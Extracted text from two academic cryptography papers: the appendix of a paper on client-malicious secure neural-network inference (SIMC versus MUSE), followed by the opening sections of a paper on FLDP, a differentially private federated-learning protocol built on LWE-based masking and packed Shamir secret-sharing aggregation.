in Section 5.2, we expect our gains over MUSE to be even
higher for larger neural network models, such as ResNet50 on
ImageNet, as they have much wider non-linear layers (upto
220 nodes). Moreover, replacing our OT extension based on
KOS [26] with Silent-OT extension techniques [6, 54] will
further improve the communication, and lead to better perfor-
mance in low bandwidth settings. Finally, SIMC is along the
same lines of work as SecureML [37], Gazelle [24], DELPHI
and MUSE that use garbled circuits for their generality to
handle all non-linear functions. We leave the exploration of
design of specialized non-linear layer protocols in the client
malicious setting along the lines of the state-of-the-art work
in semi-honest setting, CrypTFlow2 [42], as future work.
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A Performance in Preprocessing Model

Table 6 shows performance of SIMC++ and MUSE in the
EAN setting.

Benchmark A Benchmark B
Protocol MUSE SIMC++ MUSE SIMC++

Preprocessing Phase 117.64 23.95 1758.12 238.76
Online Phase 3.45 3.45 25.21 25.21

Total 121.09 27.40 1782.92 263.97

Table 6: Latency (in seconds), of MUSE and SIMC++ on
benchmarks A and B in preprocessing model [EAN setting].

B Threat Model

Formal Security. We formalize security using the simulation
paradigm [9,33]. Security is modeled by defining two interac-
tions: a real interaction where P0 and P1 execute the protocol
in the presence of an adversary A and the environment Z and
an ideal interaction where the parties send their inputs to a
trusted functionality that performs the computation faithfully.
Security requires that for every adversary A in the real inter-
action, there is an adversary S (called the simulator) in the
ideal interaction, such that no environment Z can distinguish
between real and ideal interactions, which we formally define
below. Let f = ( f0, f1) be a two party functionality such that
P0 and P1 invoke f on inputs a and b to learn f0(a,b) and
f1(a,b) respectively. A protocol π securely realizes f in the
client malicious paradigm if the following properties hold.

• Correctness: If P0 and P1 were honest, then P0 learns
f0(a,b) and P1 learns f1(a,b) from the execution of π on
inputs a and b respectively.

• Semi-honest Server Security: For semi-honest adversary
A controlling P0, ∃ a simulator S such that for any (a,b),

Viewπ

A(a,b)≈ S(a, f0(a,b))

where Viewπ

A(a,b) denotes view of A during the execution
of the protocol π with P0’s input a and P1’s input b.

• Malicious Client Security: For any malicious adversary A
controlling P1, there exists a simulator S such that for any
input a from P0,

OutP0 ,Viewπ

A(a, ·)≈ ˆOut,S f (a,·)

where Viewπ

A(a, ·) denotes the view of A during the ex-
ecution of the protocol π with P0’s input being a. OutP0
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Preamble. Recall the neural network from Section 4.2. Let v0 be the input vector of P1. P0 holds a MAC key α and
M1, · · · ,M`. For any non-linear function f , let C f be the boolean circuit that takes d,〈s〉0,〈s〉1,c ∈ Fp as input and outputs
(s,c, f (s)− d− c). During secure evaluation of C f in the below protocol, P0 holds the inputs (d,〈s〉0) and P1 holds the
inputs (〈s〉1,c) of C f . Let d0 = 0n0 . Let si and vi denote the intermediate inference vectors obtained after the ith linear layer
and non-linear layer evaluation respectively.

Data from preprocessing phase for:

• Linear layer i ∈ [`]: Pb learns 〈ŝi〉b,〈t̂i〉b,〈yi〉b, where ŝi = Mici, t̂i = αŝi,yi = α2ci (for ci uniformly chosen from Fni−1
p

by P1) using additive homomorphic encryption, similar to the functionality FLin.

• Non-linear layer i ∈ [`−1]: P0 computes a garbled circuit (for C fi) GCi along with pairs of input and outputs labels. P1
learns labels corresponding to its input 〈ŝi〉1,ci+1 (to C fi ) by invoking the oblivious transfer functionality with P0. P0 then
sends the labels corresponding to its input di (uniformly chosen from Fni

p ) and an encryption of GCi to P1.

• Consistency Check: For each i ∈ [`−1], P0 samples 〈ui〉0,〈gi+1〉0 uniformly (where ui = αsi, gi+1 = α2ci+1). For each
i ∈ [`−1], P1 receives from P0, the ciphertexts computed using the output labels of GCi necessary to recover 〈ui〉1,〈gi+1〉1.
These ciphertexts are computed by P0 using techniques similar to the authentication phase of protocol π

f
Non-lin (in Figure 2).

Online Phase:

• For every linear layer i ∈ [`]: P1 sends vi−1−di−1− ci to P0 and sets 〈si〉1 = 〈ŝi〉1,〈ti〉1 = 〈t̂i〉1. P0 computes 〈si〉0 =
〈ŝi〉0 +Mi(vi−1− ci),〈ti〉0 = 〈t̂i〉0 +αMi(vi−1− ci).

• For every non-linear layer i ∈ [`−1]: P0 sends labels corresponding to its input (to C fi) 〈si〉0 and the decryption key to
recover GCi (from its encryption) to P1 . P1 decrypts and evaluates GCi using the labels it received from P0 and the labels
for the inputs di,〈si〉1,ci+1 (learnt in the preprocessing phase) to learn vi−di− ci+1 and the shares 〈ui〉1,〈gi+1〉1 (recall,
ui = αsi, gi+1 = α2ci+1 and note that vi = fi(si)).

• Consistency Check Phase: Both parties locally compute shares of a random linear combination (similar to the consistency
check phase of πInf in Figure 5) of the values (ti−ui + yi+1− gi+1) for i ∈ [`− 1], where randomness of this linear
combination is chosen by P0 and sent to P1. Then both parties reconstruct these shares and P0 aborts if the reconstruction
is non-zero. P1 also sends a hash of the output labels that let it recover vi−di− ci+1 for all i ∈ [`− 1] to P0. P0 cross
checks this hash with the vectors vi−di− ci+1 sent by P1 in the (i+1)th online linear layer evaluation (for i ∈ [`−1])
and aborts if the check fails.

• Output Phase: If the consistency checks pass, P0 sends 〈s`〉0 to P1, who reconstructs and outputs s`.

Figure 8: Secure Inference Protocol in the Preprocessing Model π
Prep
Inf

represents the output of P0 in the same protocol execution.
ˆOut and S f (a,·) denote the output of P0 and S in an ideal

interaction with the functionality f , where P0 inputs a.

C Protocol in the Preprocessing Model

We describe the protocol in Figure 8. Remarks analogous to
Remarks 3.1, 3.2, 3.3, 4.1, 4.2 also hold for this protocol.

D Extension for General Neural Networks

Our secure inference protocol πInf (Figure 5) can be easily
tailored for neural networks that don’t necessarily have alter-
nate linear and non-linear layers. Though consecutive linear
(resp., non-linear) layers can be composed into a single lin-
ear (resp., non-linear) layer, for efficiency reasons during the
implementation phase it might be preferred to avoid this com-

position. If say for some i, the linear layers i and i+ 1 are
consecutive, consider an imaginary non-linear layer i between
them. Then, after computation of shares of si, ti,zi in the ith

linear layer evaluation as per πInf , parties locally compute
shares of ui = ti,vi = si,wi = ti. Next, they input shares of
(vi,wi) to the (i+1)th linear layer evaluation of πInf and use
ui in the consistency check phase. If non-linear layers i and
i+ 1 are consecutive, consider an imaginary linear layer i
between them. After computing shares of ui,vi,wi, parties
locally compute shares of si+1 = vi, ti+1 = wi and zi+1 = 0.
They use shares of si+1 as input to the (i+ 1)th non-linear
layer evaluation in πInf and shares of zi+1 in the consistency
check.
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Abstract
Federated machine learning leverages edge computing to de-
velop models from network user data, but privacy in feder-
ated learning remains a major challenge. Techniques using
differential privacy have been proposed to address this, but
bring their own challenges. Many techniques require a trusted
third party or else add too much noise to produce useful mod-
els. Recent advances in secure aggregation using multiparty
computation eliminate the need for a third party, but are com-
putationally expensive especially at scale. We present a new
federated learning protocol that leverages a novel differen-
tially private, malicious secure aggregation protocol based
on techniques from Learning With Errors. Our protocol out-
performs current state-of-the art techniques, and empirical
results show that it scales to a large number of parties, with op-
timal accuracy for any differentially private federated learning
scheme.

1 Introduction

Mobile phones and embedded devices are ubiquitous and al-
low massive quantities of data to be collected from users. The
recent explosion in data collection for deep learning has led
to significant new capabilities, from image recognition to nat-
ural language processing. But collection of private data from
phones and devices remains a major and growing concern.
Even if user data is not directly disclosed, recent results show
that trained models themselves can leak information about
user training data [42, 50].

Private data for training deep learning models is typically
collected from individual users at a central location, by a party
we call the server. But this approach creates a significant
computational burden on data centers, and requires complete
trust in the server. Many data owners are rightfully skeptical
of this arrangement, and this can impact model accuracy, since
privacy-conscious individuals are likely to withhold some or
even all of their data.

A significant amount of existing research aims to address
these issues. Federated learning [30] is a family of decen-

tralized training algorithms for machine learning that allow
individuals to collaboratively train a model without collecting
the training data in a central location. This addresses computa-
tional burden in data centers by shifting training computation
to the edge. However, federated learning does not necessarily
protect the privacy of clients, since the updates received by
the server may reveal information about the client’s training
data [42, 50].

Combining secure aggregation [8, 12] with differential pri-
vacy [21,29] ensures end-to-end privacy in federated learning
systems. In principle, secure aggregation allows user updates
to be combined without viewing any single update in isolation.
Methods based on differential privacy add noise to updates to
ensure that trained models do not expose information about
training data. However, secure aggregation protocols are ex-
pensive, in terms of both computation and communication.
The state-of-the-art protocol for aggregating large vectors (as
in federated deep learning) is due to Bonawitz et al. [12]. This
protocol has a communications expansion factor of more than
2x when aggregating 500 vectors of length 20,000 (i.e. it dou-
bles the communication required for each client), and requires
several minutes of computation time for the server.

In this paper we propose a new protocol, called FLDP, that
supports scalable, efficient, and accurate federated learning
with differential privacy, and that does not require a trusted
server. A main technical contribution of our work is a novel
method for differentially private secure aggregation. This
method significantly reduces computational overhead as com-
pared to state-of-the-art– our protocol reduces communica-
tions expansion factor from 2x to 1.7x for 500 vectors of
length 20,000, and reduces computation time for the server to
just a few seconds. The security of this method is based on
the learning with errors (LWE) problem [36]– intuitively, the
noise added for differential privacy also serves as the noise
term in LWE.

To obtain computational differential privacy [33] FLDP
uses the distributed discrete Gaussian mechanism [29] and
gradient clipping, with secure aggregation accomplished ef-
ficiently via our new method. The accuracy of our approach
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is comparable to that achieved by the central model of dif-
ferential privacy, while providing better efficiency and thus
scalability of previous distributed approaches. We implement
our approach and evaluate it empirically on neural network
architectures for MNIST and CIFAR-10, measuring both ac-
curacy and scalability of the training procedure. In terms of
accuracy, our results are comparable with central-model ap-
proaches for differentially private deep learning (on MNIST:
95% accuracy for ε ≤ 2; on CIFAR-10: 70% accuracy for
ε≤ 4).

1.1 Contributions
In summary, our contributions are:

1. A novel malicious-secure aggregation protocol that out-
performs previous approaches to gradient aggregation
with differential privacy.

2. A new end-to-end protocol (FLDP) for privacy-
preserving federated learning setting that uses our se-
cure aggregation protocol to provide differential privacy
even in the presence of malicious clients and a malicious
server.

3. Analytic and empirical results that support our scalabil-
ity claims, and that show our protocol achieves nearly
the same accuracy as central-model approaches for dif-
ferentially private deep learning on practical models for
MNIST and CIFAR-10.

2 Overview

We study the problem of distributed differentially private
deep learning without a trusted data curator. Our setting
includes a set of clients (or data owners), each of whom holds
some sensitive data, and a server that aggregates gradients
generated by clients to obtain a model for the entire federation.
The goal is to obtain a differentially private model, without
revealing any private data to either the server or other clients.

2.1 Background: General Problem Setting

Deep learning. Deep learning [25] attempts to train a neural
network architecture F (θ, ·) by training its parameters (or
weights) θ in order to minimize the value of a loss function
L(θ, ·) on the training data. Advances in deep learning have
lead to significant gains in machine learning capabilities in
recent years. Neural networks are typically trained via gradi-
ent descent: each iteration of training calculates the gradient
of the loss on a subset of the training data called a batch, and
the model parameters are updated based on the negation of
the gradient.

Traditional deep learning techniques assume the training
data is collected centrally; moreover, recent results suggest

that trained models tend to memorize training data, and train-
ing examples can later be extracted from the trained model
via membership inference attacks [15, 28, 42, 50]. When sen-
sitive data is used to train the model, both factors represent
significant privacy risks to data owners.

Federated learning. Federated learning is a family of tech-
niques for training deep neural networks without collecting
the training data centrally. In the simplest form of federated
learning (also called distributed SGD), each client computes
a gradient locally and sends the gradient (instead of the train-
ing data) to the server. The server averages the gradients and
updates the model. More advanced approaches compute gra-
dients in parallel to reduce communication costs; Kairouz et
al. [30] provide a survey.

Differentially private deep learning. Differential pri-
vacy [21] is a rigorous privacy framework that provides a
solution to the problem of privacy attacks on deep learn-
ing models. Achieving differential privacy typically involves
adding noise to results to ensure privacy. Abadi et al. [2]
introduced DP-SGD, an algorithm for training deep neural
networks with differential privacy. DP-SGD adds noise to gra-
dients before each model update. Subsequent work has shown
that this approach provides strong privacy protection, effec-
tively preventing membership inference attacks [15, 28, 50].

DP-SGD works in the central model of differential
privacy—it requires the training data to be collected centrally
(i.e. on a single server). The participant that holds the data and
runs the training algorithm is often called the data curator or
server, and in the central model, the server must be trusted.
Central-model algorithms offer the best accuracy of known
approaches, at the expense of requiring a trusted server.

Federated learning with local differential privacy. The
classical method to eliminate a trusted server is local dif-
ferential privacy [21], in which each client adds noise to their
own data before sending it to the server. Local differential pri-
vacy algorithms for gradient descent have been proposed, but
for deep neural networks, this approach introduces too much
noise to train useful models [10]. The major strength of local
differential privacy is the threat model: privacy is assured
for each client, even if every other client and the server act
maliciously. The local model of differential privacy has also
been relaxed to the shuffle model [16, 22], which lies between
the local and central models but which has seem limited use
in distributed machine learning.

Secure aggregation. The difference in accuracy between the
central and local models raises the question: can cryptog-
raphy help us obtain the benefits of both, simultaneously?
Several secure aggregation protocols have been proposed in
the context of federated learning to answer this question in
the affirmative. These approaches yield the accuracy of the
central model, but without a trusted server.

Secure aggregation protocols allow a group of clients—
some of whom may be controlled by a malicious adversary—
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Setting Bonawitz Bell FLDP
Client Communication O(k+m) O(logk+m) O(m+ k+n)

Client Computation O(k2 + km) O(log2 k+m logk) O(mn+ k logk)
Server Communication O(k2 + km) O(k logk+ km) O(mk+n)

Server Computation O(mk2) O(k log2 k+ km logk) O(mk+mn+ k logk)

Table 1: Communication and computation complexities of FLDP compared with the state of the art.

to compute the sum of the clients’ privately-held vectors (e.g.
gradients, in federated learning), without revealing individual
vectors. The state-of-the-art protocol is due to Bonawitz et
al. [12]. For k clients and length-m vectors, this protocol re-
quires O(k2+mk) computation and O(k+m) communication
per client, and O(mk2) computation and O(m2 +mk) commu-
nication for the untrusted server. Bell et al. [8] improve these
to O(log2 k+m logn) computation and O(logk+m) commu-
nication (client) and O(k log2 k+ km logk) computation and
O(k logk+ km) communication (server). These complexity
classifications are summarized in Table 1.

2.2 Efficient Secure Aggregation in the Differ-
ential Privacy Setting

We present a new protocol for secure aggregation (detailed in
Section 4) specifically for the setting of differentially private
computations. Our protocol reduces client communications
complexity to O(m+k) and server communications complex-
ity to O(mk), where as above we have k parties aggregating
vectors of length m, and demonstrates excellent concrete per-
formance in our empirical evaluation (Section 5). These ana-
lytic results are summarized in Table 1 for easy comparison
with previous work.

Threat model. Like previous work, we target both the semi-
honest setting (in which all clients and the server correctly
execute the protocol) and the malicious setting (in which the
server and some fraction of the clients may act maliciously).
These threat models are standard in the MPC literature [23],
and match the ones targeted by Bonawitz et al. [12] and Bell et
al. [8]. In the semi-honest version, we assume that the server
is honest-but-curious, and that the clients have a corrupted
honest-but-curious subset with an honest majority. In the
malicious version, we assume that the server is malicious,
and that the clients have a corrupted malicious subset with
an honest majority. We present both versions in Section 4
(note that the results in Table 1 are for semi-honest protocol
versions in all cases).

Data poisoning & other threats. As with other secure ag-
gregation protocols, our threat model does not prevent the
adversary from submitting maliciously-crafted data. The abil-
ity to submit malicious data can enable attacks on the resulting
trained machine learning models, such as data poisoning [44],
property inference [34] and model inversion [26]. Like previ-

ous approaches for secure aggregation [8, 12], our protocol
does not prevent these attacks.

2.3 Paper Roadmap
The rest of the paper is organized as follows. In Section 3
we describe the ideal but insecure functionality of our main
protocol that assumes a trusted server, along with our threat
model. The trusted server assumption is removed in Section 4
where we present novel techniques for lightweight malicious-
secure aggregation based on LWE. In that Section we also
describe the threat model and state formal security results
for the protocol, and analyze its algorithmic complexity. In
Section 5 we discuss methods and results for two experiments-
one that further evaluates scalability and other performance
parameters, and another that evaluates the accuracy of the
models using our protocol. Section 6 reviews the relevant
related work. We conclude with a summary and remarks on
open related problems in Section 7.

3 Differentially Private Federated Learning

Abadi et al. [2] describe a differentially private algorithm
for stochastic gradient descent in the central model of differ-
ential privacy. The algorithm assumes that the training data
is collected centrally by a trusted curator, and training takes
place on a server controlled by the curator. For details of the
algorithm the reader is referred to [2]

The primary challenge in differentially private deep learn-
ing is in bounding the sensitivity of the gradient computation.
Abadi et al. [2] use the approach of computing per-example
gradients—one for each example in the minibatch—then clip-
ping each gradient to have L2 norm bounded by the clipping
parameter C (line 6). The summation of the clipped gradients
(line 7) has global L2 sensitivity bounded by C.

Our privacy analysis of this algorithm uses Rényi differ-
ential privacy (RDP) [32] (rather than the moments accoun-
tant) for convenience and leverages parallel composition over
the minibatches in each epoch (rather than privacy amplifi-
cation by subsampling). Otherwise, it is similar to that of
Abadi et al. By the definition of the Gaussian mechanism for
Rényi differential privacy [32], the Gaussian noise added in
line 7 is sufficient to satisfy

(
α, C2α

2σ2

)
-RDP. By RDP’s se-

quential composition theorem, training for E epochs satisfies
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Protocol 1: FLDP Protocol
Runs on the untrusted server
Input :Set of clients P, noise parameter σ, minibatch

size b, learning rate η, clipping parameter C,
number of epochs E.

Output :Noisy model θ.
Privacy guarantee: satisfies

(
α, EC2α

σ2

)
-RDP for

α≥ 1, assuming honest majority of clients in each
batch

1 θ← random initialization
2 for E epochs do
3 for each batch of clients Pb ∈ P of size b do
4 G← NoisyBatchGradient(Pb,σ,C,θ)

θ := θ− 1
b ηG update model

5 return θ

(
α, EC2α

2σ2

)
-RDP. Slightly tighter privacy analyses have been

developed [6, 14, 20] that also apply to our work. We present
the RDP analysis for simplicity, since our focus is not on
improving central-model accuracy.

3.1 FLDP: Distributed DP SGD
We now extend the central-model approach to the dis-
tributed setting. The following describes a macro-level pro-
tocol for realizing differentially private distributed SGD
when a trusted third party is present. Functionality 2
(NoisyBatchGradient) assumes the existence of a trusted
third party to aggregate the noisy gradients associated with a
single batch. Section 4 will describe our MPC protocol that
implements Functionality 2 without a trusted third party.

Together, Protocol 1 and Functionality 2 define a differ-
entially private distributed SGD algorithm suitable for the
trusted server setting.The distributed computation follows the
framework of McMahon et al. [12], in which each client com-
putes a gradient locally (Functionality 2, line 2). To satisfy
differential privacy, our adaptation clips each gradient and
adds noise (lines 3-4).

Under the assumption that a trusted third party is available
to compute Functionality 2, Protocol 1 satisfies differential
privacy. Each execution of Functionality 2 calculates a sum
of noisy gradients, each with Gaussian noise of scale σ

b . The
final sum is:

Ĝ =
b

∑
i=1

ĝi =
b

∑
i=1

(
ḡi +N (0,

σ2

b
I)
)
=
( b

∑
i=1

ḡi

)
+N (0,σ2I),

(1)
which is exactly the same as the central model algorithm [2].
The last step of the derivation follows by the sum of Gaussian
random variables. Note that the noise added by each client is
not sufficient for a meaningful privacy guarantee (it is only
1
b of the noise required). The privacy guarantee relies on

Functionality 2: Distributed NoisyBatchGradient

Runs on a trusted third party
Input :Batch of clients Pb of size b, noise parameter

σ, clipping parameter C, current model θ.
Output :Noisy gradient Ĝ.
Privacy guarantee: satisfies

(
α, C2α

σ2

)
-RDP for

α≥ 1, assuming honest majority of clients

Part 1: each client pi ∈ Pb computes a noisy gradient
and sends it to the functionality F .

1 for each client pi ∈ Pb do
2 gi← ∇L(θ,dataOf(pi)) compute gradient
3 ḡi← gi/max(1, ‖gi‖2

C ) clip gradient

4 ĝi← ḡi +N (0, σ2

b I) add noise
5 pi sends ĝi to F
Part 2: F computes the sum of noisy gradients and

releases it to the server.

6 Ĝ← ∑
b
i=1 ĝi sum individual gradients

7 F sends Ĝ to the untrusted server

the noise samples being correctly summed along with the
gradients. This is a major difference between Functionality 2
and approaches based on local differential privacy [10], in
which each client adds sufficient noise for privacy.

The privacy analysis for Functionality 2 and Protocol 1 are
standard, based on the conclusion of Equation (1). The L2

sensitivity of
(

∑
b
i=1 ḡi

)
is C, since at most one element of

the summation may change, and it may change by at most
C. By the definition of the Gaussian mechanism for Rényi
differential privacy, the noisy gradient sum satisfies

(
α, C2α

2σ2

)
-

RDP. The batches are disjoint, so over E epochs of training,
each individual in the dataset incurs a total privacy loss of(

α, EC2α

2σ2

)
-RDP.

3.2 Security & Privacy Risks of FLDP

Protocol 1 satisfies differential privacy when a trusted third
party is available to execute Functionality 2. The server may
be untrusted, since the server only receives differentially pri-
vate gradients.

Malicious clients. Functionality 2 is secure against semi-
honest clients (in part 1), since each client only sees their
own data and the (differentially private) model θ. However,
actively malicious clients may break privacy for other clients.
Each client is required to add noise to their own gradient (line
4); malicious clients may add no noise at all.

If 50% of the clients add no noise, then the variance of
the noise in the aggregated gradient Ĝ (line 6) will be σ2

2

instead of σ2, yielding
(

α, EC2α

σ2

)
-RDP (a weaker guarantee
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than given above). As the fraction of malicious clients grows,
the privacy guarantee gets weaker. As discussed earlier, we
assume an honest majority of clients and relax our privacy
guarantee to this weaker form.

No trusted third party. The larger problem is with the re-
quirement for a trusted third party to compute Part 2 of Func-
tionality 2. Even an honest-but-curious server breaks the pri-
vacy guarantee for this part: the server receives each individ-
ual gradient separately, and each one has only a small amount
of noise added. This small amount of noise is insufficient
for a meaningful privacy guarantee. Section 4 describes an
MPC protocol that securely implements Functionality 2 in
the presence of an actively malicious server and an honest
majority of clients.

Privacy analysis. The protocols we describe in Section 4
work for finite field elements, so the floating-point numbers
making up noisy gradients will need to be converted to field
elements. Our privacy analysis of Protocol 1 relies on a prop-
erty of the sum of Gaussian random variables; as Kairouz
et al. [29] describe, this property does not hold for discrete
Gaussians. We amend the privacy analysis to address this
issue in Section 4.8.

4 LWE-Based Secure Aggregation

In this Section we address the security problem described in
the last Section, i.e., that state-of-the-art federated learning
with differential privacy requires a trusted third-party server
for aggregating gradients. Instead, we propose to use secure
aggregation between the clients of the protocol, eliminating
the need for a trusted third-party server. This allows us to
keep both client inputs and gradients confidential for the cal-
culation of a differentially private aggregate gradient. Our
solution is a secure aggregation protocol that securely realizes
Functionality 2 as part of Protocol 1.

Our approach is to build a LWE-based masking protocol
that substantially reduces the communication complexity re-
quired to add large vectors. Rather than applying traditional
secure multiparty computation (MPC) protocols to the en-
tire vector, we generate masks that obscure the secret vectors
based on the learning with errors problem. The masked vec-
tors are safe to publish to the central server for aggregation in
the clear. The sum of all vector masks can be obtained through
MPC among the clients in the federation. Since the individual
vector masks cannot be perfectly reconstructed from the sum
of all of the masks, the security of the learning with errors
problem safeguards the encryption of the masked vectors.

Due to the nature of the learning with errors problem, the
individual vector masks cannot be perfectly reconstructed
with the sum of all the masks. The "errors" remain in the
aggregated vector sum, and are sufficient to satisfy (ε,δ)-
differential privacy.

4.1 Background: Learning with Errors
To reduce the dimension of the vectors that are to be summed
using MPC, we use a technique whose security relies on
the difficulty of the Learning With Errors (LWE) problems
[36]. These computational problems are usually posed in the
following manner: Let Fq be the finite field of prime size q,
which is sometimes denoted GF(q), and fix a secret vector
s ∈ Fn

q. An LWE sample is a pair (a,b), where a ∈ Fn
q is

chosen uniformly at random, and

b = a · s+ e ∈ Fq,

where a · s denotes the usual dot product, and e is a so-called
“error," chosen from a suitable error distribution χ on Fq. Then
the LWE (search) problem consists of retrieving the secret s
given a polynomial number of LWE samples (a,b).

For our purposes we will also need the hardness of the LWE
decision problem, which is the problem of distinguishing a
set of pairs (a,b) with each pair chosen uniformly at random
from Fn

q×Fq from a set of pairs that are LWE samples. In [36],
Regev shows that when q is a prime of size polynomial in n
and for χ any error distribution on Fq, the LWE decision prob-
lem is at least as hard as the LWE search problem. Since the
reduction from the LWE decision to the LWE search problem
is trivial, in those cases the two problems are equivalent.

4.2 Background: Multiparty Computation
Secure Multiparty Computation, abbreviated MPC, refers to
distributed protocols where independent data owners use cryp-
tography to compute a shared function output without reveal-
ing their private inputs to each other or a third party [23]. In
our setting, the ideal functionality computed by these clients is
gradient aggregation, which as discussed in Section 3 is differ-
entially private with regard to user inputs. Thus MPC serves
to replace a trusted third party in secure function evaluation.

Security properties of Secure Aggregation protocols are
categorized based on assumptions about the power of an ad-
versary. Semi-Honest adversaries perform the protocol as
intended, while attempting to gain information about the pri-
vate inputs of the protocol. Malicious adversaries may exhibit
arbitrary behaviors to affect the security, correctness, or fair-
ness of an MPC protocol. Furthermore, MPC protocols must
assume that some proportion of the involved clients are hon-
est. FLDP assumes an honest majority against a malicious
adversary. For a group of size k, we assume that k

2 +1 clients
are honest, and make no assumption about the behavior of the
rest.

FLDP requires the realization of secure vector aggrega-
tion in order to add the secret keys each participant uses to
mask their larger dimension vectors. Several secure vector ag-
gregation protocols already exist, especially for smaller sized
vectors [8,12,41]. For the sake of consistent security and com-
plexity analysis, we implement a secure vector aggregation
protocol using Packed Shamir secret sharing [24]:
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A (t,k,n) threshold secret sharing scheme will break k
secret values into n shares, and require at least t + k shares to
recover the secret. Provided that an adversary has access to
fewer than t shares, packed Shamir sharing maintains the same
perfect security as traditional Shamir sharing [11]. To ensure
perfect security, we choose parameter settings that ensure the
adversary will never have access to t or more shares. Our
secure vector aggregation protocol additionally requires that
the scheme have an additive homomorphic property. That
is to say if [a] and [b] are secret shares of values a and
b, and c is a constant. Using [a], [b], and c, a party must
be able to calculate [a + b], [ac], and [a + c] without
communication among the other clients.

4.3 LWE-Based Masking of Input Vectors
We now describe our novel masking protocol, which allows
us to reduce client communication. A high-level summary of
the protocol is the following:

1. Each client generates a one-time-pad that is the same
size as their gradient, masks their gradient, and sends the
encrypted gradient to the server.

2. Clients add their masks together using MPC and send the
aggregate mask to the server.

Through this protocol the server can recover the true sum of
the gradients by adding the masked gradients and subtracting
the aggregate mask. Moreover, the aggregate mask reveals
nothing about any individual gradients or their masks.

We begin by assuming that all clients share a public set
of m vectors chosen uniformly at random from Fn

q, and we
arrange these vectors as the rows of an m×n matrix A∈ Fm×n

q .
Then each client generates a secret vector s ∈ Fn

q, with each
entry of the vector drawn from the distribution χ, and an error
vector e ∈ Fm

q , with each entry of the vector also drawn from
the same distribution χ, and computes the vector

b = As+ e ∈ Fm
q .

We can then think of the pair (A,b) as a set of m LWE
samples, where each row of A constitutes the first entry of a
sample as described in Section 4.1, and each entry of b con-
stitutes the second entry of the sample. The hardness of the
LWE decision problem tells us that the vector b is indistin-
guishable from a vector whose entries are chosen uniformly at
random from Fq, so b can serve as a one-time pad to encrypt
the vector v ∈ Fm

q :
h = v+b,

where here h is used to denote the encrypted v. Note that
according to Regev [36], there is no loss in security in having
all clients share the same matrix A to perform this part of the
protocol.

Now suppose that hi, vi, bi, si, and ei are the h, v, b, s, and e
vectors of client i. Additionally, suppose hsum, vsum, bsum, ssum

and esum are the sum of all bi, si, and ei for clients 0, . . . ,k−1
where k is the number of clients.

By the definition of one-time pads, each client can send hi to
the server without revealing anything about vi. The server can
obtain hsum through simple vector addition. By the definition
of each hi, we further know that:

hsum = vsum +bsum,

and by the definition of each bi and the distributive property,
we obtain:

hsum = vsum +Assum + esum,

where Assum denotes the usual matrix-vector multiplica-
tion. To obtain ssum we assume the federation has access
to a secure aggregation protocol that realizes functionality
Sagg(x0, . . .xk, t). Sagg returns the sum of vectors x0, . . . ,xk,
while not revealing any information about any inputs to any
subset of parties of size smaller than t. Because they utilize
Sagg, this reveals nothing about their individual si values. In
the case of dropouts, Sagg also returns the subset of parties
that participated in the aggregation. Using ssum, the server can
compute the following value:

vsum + esum

Of course, the clients do not share their individual error vector
ei values because this would invalidate the LWE assumption
that ensures bi is a one-time pad. Therefore, we realize the
ideal functionality of calculating vsum by returning a noisy
answer. Fortunately, each entry in esum is the sum of at most k
discretized Gaussians. Therefore we can use the noise added
by esum to satisfy (ε,δ)-DP.

Protocol 3 reduces the client communication complex-
ity from O(log(q)mk) to O(log(q)(m+n+ k)) by requiring
clients to securely aggregate only a small vector of size n.
The addition of n and k can be attributed to the possible use
of packed secret sharing. Each client shares their length-m
vector once with the server, and then uses a packed secret
sharing scheme on their length-n vector. The total number of
shares required in the packed scheme is O(n+ k)

4.4 Vector Aggregation
To add the secret vectors s0 . . .sk−1, we can use any secure
aggregation protocol. In our use cases, each si is typically
of small dimension (m ≤ 800), so we use a packed Shamir
secret sharing protocol outlined in Protocol 4.

Protocol 4 is secure against semi-honest adversaries based
on the security of packed secret sharing. A malicious ad-
versary could broadcast an incorrect sum in Round 2 of the
protocol, and the final result would be calculated incorrectly
by the other clients. Traditionally, the reconstruct function
has no ability to catch this kind of cheating; in many cases
all of the shares are needed to reach the threshold during
reconstruction, so corruption of a single one will change the
result.
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Protocol 3: Masking Aggregation
Input :Set U of k clients, each client i has a vector

vi ∈ Fm
q , the secret length n, an error

distribution χ, and a common matrix
A ∈ Fm×n

q .
Output :The sum of all vectors v0 . . .vk−1, V
Round 1: Each client i:

1. generates a vector si ∈ Fn
q, with each entry drawn at

random from χ, using a secret seed.
2. generates ei ∈ Fm with each entry drawn at random

from χ.
3. bi← Asi + ei
4. hi← vi +bi
5. sends hi to the server.

Round 2: The server:

1. receives hi from each non-dropped out client
2. the server sends each party the set of clients who sent an

h. Call this set U1.

Round 3: Each client i:

1. Obtains s← ∑i∈U1 si. Using Sagg({si|i ∈U1}, t) and
U2, the set of clients that participated in Sagg.

2. sends s, U2 to server.

Round 4: The server:

1. H← ∑i∈U2 hi
2. V ← H−As

Protocol 4: Secure Vector Addition
Input :k vectors vi ∈ Fn

q, one from each client Pi, a
secret sharing threshold t, a packing
threshold p < k− t−1.

Output :vector sum V ∈ Fn
q

Round 1: Each client j:
1. partitions v j into a set of length-p vectors R j

2. Generates a set of (t− p+1, t +1, p,k)-packed secret
sharing called S j with one sharing for each vector in R j.

3. Distributes the shares of each sharing in S j to clients
P0 . . .Pk−1. For a given sharing s in S j, Pi receives si j.

Round 2: Each client j:

1. Receives shares s j0, . . .s jk−1 from P0, . . .Pk−1 for all
sharings in S.

2. sum j← ∑s j0, . . . ,s jk−1 for each sharing in S.
3. Broadcasts each sum j to every client.

Round 3: Each client j:

1. Receives sum0 . . . sumk−1 for each sharing in S.
2. Runs reconstruct on each element sum0 . . . sumk−1

to obtain a set of length-p vectors Rsum.
3. if (2) fails, broadcast ABORT.
4. concatenate the vectors in Rsum to obtain V .

4.5 Malicious-Secure Vector Aggregation
We now extend Protocol 4 to be secure against malicious
clients by applying a variation of Benaloh’s verifiable secret
scheme [9]. The key insight behind this modification comes
from the observation that in our protocol each client receives k
shares from the other clients in Round 3, but only t shares are
actually required for reconstruction. Our modified reconstruc-
tion procedure uses the remaining shares to catch cheating
clients.

Algorithm 5: Shamir Reconstruction with Verifica-
tion

Input :Let [a] be a (t,k)-Shamir sharing of secret a.
Assume one client has access to at least t +1
shares of [a].

Output :a or ABORT
1 A⊂ B⊆ [a] where |A|= t and |B|= t +1.
2 a′→ reconstruct(A)
3 b→ reconstruct(B)
4 if a′ = b then
5 return a’
6 else
7 return ABORT

We propose the following reconstruction method for veri-
fying that clients have behaved honestly. Requiring that each
client has at least t+1 shares, we have each honest client take
two subsets of the shares, one of size t and one of size t +1.
